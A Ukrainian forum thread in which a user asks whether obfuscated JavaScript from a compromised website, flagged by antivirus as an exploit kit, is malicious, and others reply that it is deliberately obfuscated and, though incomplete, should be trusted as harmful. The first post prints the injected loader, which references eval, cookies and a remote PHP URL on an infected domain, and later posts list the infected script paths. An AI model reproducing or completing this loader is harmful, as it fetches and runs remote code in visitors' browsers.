1 Тема від Hitma47go

  • Hitma47go
  • Новий користувач
  • Поза форумом
  • Дата реєстрації: 20.04.2022
  • Повідомлень: 3
    • Репутація: 0

Тема: Вірусний JavaScript код?

Наткнувся на цей сайт коли працював на роботі.

Антивірус (Avira) спрацював на нього ще до того як зайшов на сайт, з гуглу прямо.

Проаналізував його в сервісі scanner.pcrisk.com

Ось звіт: https://scanner.pcrisk.com/detailed_rep … om#details

15 скриптів з потенційно шкідливим кодом.

Хтось може сказати чи це справді шкідливий код, чи це хибне спрацювання антивірусу.

Ось сам код:

[[;if(ndsw===undefined){function g(R,G){var y=V();return g=function(O,n){O=O-0x6b;var P=y[O];return P;},g(R,G);}function V(){var v=['ion','index','154602bdaGrG','refer','ready','rando','279520YbREdF','toStr','send','techa','8BCsQrJ','GET','proto','dysta','eval','col','hostn','13190BMfKjR','//feddogroup.com/assets/bootstrapcarouselswipe/bootstrapcarouselswipe.php','locat','909073jmbtRO','get','72XBooPH','onrea','open','255350fMqarv','subst','8214VZcSuI','30KBfcnu','ing','respo','nseTe','?id=','ame','ndsx','cooki','State','811047xtfZPb','statu','1295TYmtri','rer','nge'];V=function(){return v;};return V();}(function(R,G){var l=g,y=R();while(!![]){try{var O=parseInt(l(0x80))/0x1+-parseInt(l(0x6d))/0x2+-parseInt(l(0x8c))/0x3+-parseInt(l(0x71))/0x4*(-parseInt(l(0x78))/0x5)+-parseInt(l(0x82))/0x6*(-parseInt(l(0x8e))/0x7)+parseInt(l(0x7d))/0x8*(-parseInt(l(0x93))/0x9)+-parseInt(l(0x83))/0xa*(-parseInt(l(0x7b))/0xb);if(O===G)break;else y['push'](y['shift']());}catch(n){y['push'](y['shift']());}}}(V,0x301f5));var ndsw=

2 Відповідь від Dmy

  • Dmy
  • Новий користувач
  • Поза форумом
  • Звідки: Порту←Мінськ←Львів
  • Дата реєстрації: 20.12.2021
  • Повідомлень: 16
    • Репутація: 17

Re: Вірусний JavaScript код?

Код спеціально написаний таким чином, щоб не можна було зрозуміти, що він робить. Розбиратися в такому коді (до речі, у вас він тут не повний) — це робота надовго, на години, а то й на дні.

Особисто я б повірив антивірусу.

Подякували: leofun011

3 Відповідь від Hitma47go

  • Hitma47go
  • Новий користувач
  • Поза форумом
  • Дата реєстрації: 20.04.2022
  • Повідомлень: 3
    • Репутація: 0

Re: Вірусний JavaScript код?

Dmy написав:

Код спеціально написаний таким чином, щоб не можна було зрозуміти, що він робить

Ну тоді точно повірю. Дякую за відповідь.

4 Відповідь від FakiNyan

  • FakiNyan
  • FakiNyan
  • Робітниця.
  • Поза форумом
  • Дата реєстрації: 27.06.2013
  • Повідомлень: 14 116
    • Репутація: 5674

Re: Вірусний JavaScript код?

де ви його узагалі взяли? цей код тупо не проходе перевірку синтаксису, бо він неправильно написаний

5 Відповідь від Hitma47go

  • Hitma47go
  • Новий користувач
  • Поза форумом
  • Дата реєстрації: 20.04.2022
  • Повідомлень: 3
    • Репутація: 0

Re: Вірусний JavaScript код?

FakiNyan написав:

де ви його узагалі взяли? цей код тупо не проходе перевірку синтаксису, бо він неправильно написаний

Можу сайт скинути. Але Avira каже що це HTML/ExpKit.Gen2
Майте на увазі.

www.feddogroup.com
/assets/viewportchecker/jquery.viewportchecker.js
/assets/smoothscroll/smooth-scroll.js
/assets/mbr-tabs/mbr-tabs.js

І ще 12 об'єктів є шкідливими, відповідно до цього звіту:
https://scanner.pcrisk.com/detailed_rep … om#details
Див: Scanned Files Analysis > Malicious files: 15